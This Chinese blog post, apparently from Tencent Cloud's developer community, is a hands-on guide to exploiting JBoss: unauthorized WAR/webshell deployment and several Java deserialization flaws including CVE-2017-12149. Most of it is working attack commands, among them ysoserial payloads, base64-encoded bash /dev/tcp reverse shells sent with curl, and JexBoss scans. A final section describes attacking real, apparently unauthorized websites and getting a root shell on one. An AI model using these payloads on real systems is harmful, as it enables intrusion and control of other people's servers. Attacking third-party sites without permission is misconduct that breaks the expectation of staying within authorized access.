欢迎关注我的微信公众号《壳中之魂》,查看更多网安文章
使用vulnhub提供的环境
地址:Vulhub - Docker-Compose file for vulnerability environment
搭建环境完成后打开
打开控制台
这里用vulnhub搭建的环境是需要密码的,密码为admin:admin,但是我们模拟的环境是未授权访问,也就是不用密码就能登陆控制台,所以就假设不需要密码吧,密码文件:server/default/conf/props/jmx-console-users.properties
进入控制台后找到
打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以
点击invoke后显示
我在这里出现了问题,不管怎么上传都找不到这个地址,所以下面就只写一下过程
有一些文章里面写了要返回页面点击apply change
理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包
如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可
经过查看本地文件,发现并没有上传,没有流量经过,不知道是服务器问题还是环境问题,但是方法就是这样的
流程和4差不多,只不过页面不一样了
环境搭建:Vulhub - Docker-Compose file for vulnerability environment
搭建完后打开,同样打开JMX Cpnsole,这里一样是有密码的,密码为admin:vulhub,密码文件路径:/server/default/conf/props/jbossws-users.properties
然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke
然后和jboss4一样访问页面即可
这次上传的时候确实有流量了,但是上传的却不完整,所以也没有办法成功复现,我觉得应该是vulnhub的环境问题
搭建环境:Vulhub - Docker-Compose file for vulnerability environment
适用范围:
首先打开Administration Console,使用vulhub搭建的环境是有密码的,但是我们要模拟的是没有密码或者是弱口令的情况下,所以就直接登入了
密码:admin:vulnhub
登入后打开Web Application (WAR) 页面,上传恶意WAR包
上传成功后查看一下上传的包是否正常开启,默认是正常开启
如果不开启则要手动开启
然后访问8080/hack/hack.jsp即可,路径为war内文件名
msf成功反弹shell
由于反序列化漏洞的攻击方式都是一样的,只是漏洞发生的文件和成因不同,所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程
该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化
使用环境:Vulhub - Docker-Compose file for vulnerability environment
漏洞验证:
访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞
使用工具JavaDeserH2HC
首先先设置监听
nc -lvp 6969
然后使用刚才下载的工具进行反弹shell
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
这是可以看到反弹shell了
发现有很多命令是没有回显的
注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
命令
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
最后针对此漏洞再推荐几个脚本:
yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)
sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)
都可以免去大量的步骤达到同样的效果
防护
原理其实和上面的差不多,流程也差不多
使用vulhub提供的环境:Vulhub - Docker-Compose file for vulnerability environment
原理
JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
影响版本
攻击
首先搭建环境,搭建完后打开页面
漏洞验证
访问:8080/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell
使用工具JavaDeserH2HC
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
反弹成功
同样发现有很多命令是没有回显的,如果想要使用回显可以使用CVE-2017-12149的第二种方法,也可以使用一些自动化工具,比如
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
适用范围:
lJboss AS 4.x及之前版本
漏洞环境:
Vulhub - Docker-Compose file for vulnerability environment
漏洞验证:
访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞
攻击
攻击时方式和前几个一样,先生成一个序列化数据,然后通过包发送,生成方式一样
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
由于过程和上面的一摸一样我就不细写了
反弹shell
影响版本:
ljboss 6.x 版本
漏洞验证:
访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞
使用ysoserial反弹Shell
注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控
将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
命令
bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/EJBInvokerServlet --data-binary @hack.ser
由于过程和上面的一摸一样我就不细写了
反弹shell
自动化工具
一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面
下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
JexBoss工具,可以用来检测弱口令和反序列化
首先先设置监听,设置监听后启动工具
python ./jexboss.py -host http://192.168.200.43:8080/
首先会先扫描是否存在漏洞,然后验证未授权漏洞
未授权漏洞验证失败后验证反序列化漏洞
如果成功执行输入监听的ip的端口反弹shell
实战
找到了一个使用Jboss的网站
直接访问该网站的/invoker/EJBInvokerServlet页面,发现返回文件,确定含有漏洞
直接使用ysoseriall和CommonsCollections5来生成序列化数据,监听本机的端口,然后发送成功反弹shell
而且运气很好拿到的shell是root权限的
还找到了另外一个网站,对漏洞进行测试
访问:8080/invoker/readonly,返回状态码500
访问/invoker/JMXInvokerServlet,返回下载,说明漏洞存在
访问/jbossmq-httpil/HTTPServerILServlet显示页面,说明含有漏洞
访问/invoker/EJBInvokerServlet,返回下载,说明有漏洞
不过最后并没有成功反弹shell猜测原因应该是因为目标系统执行bash命令有问题,导致命令无法正常执行
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。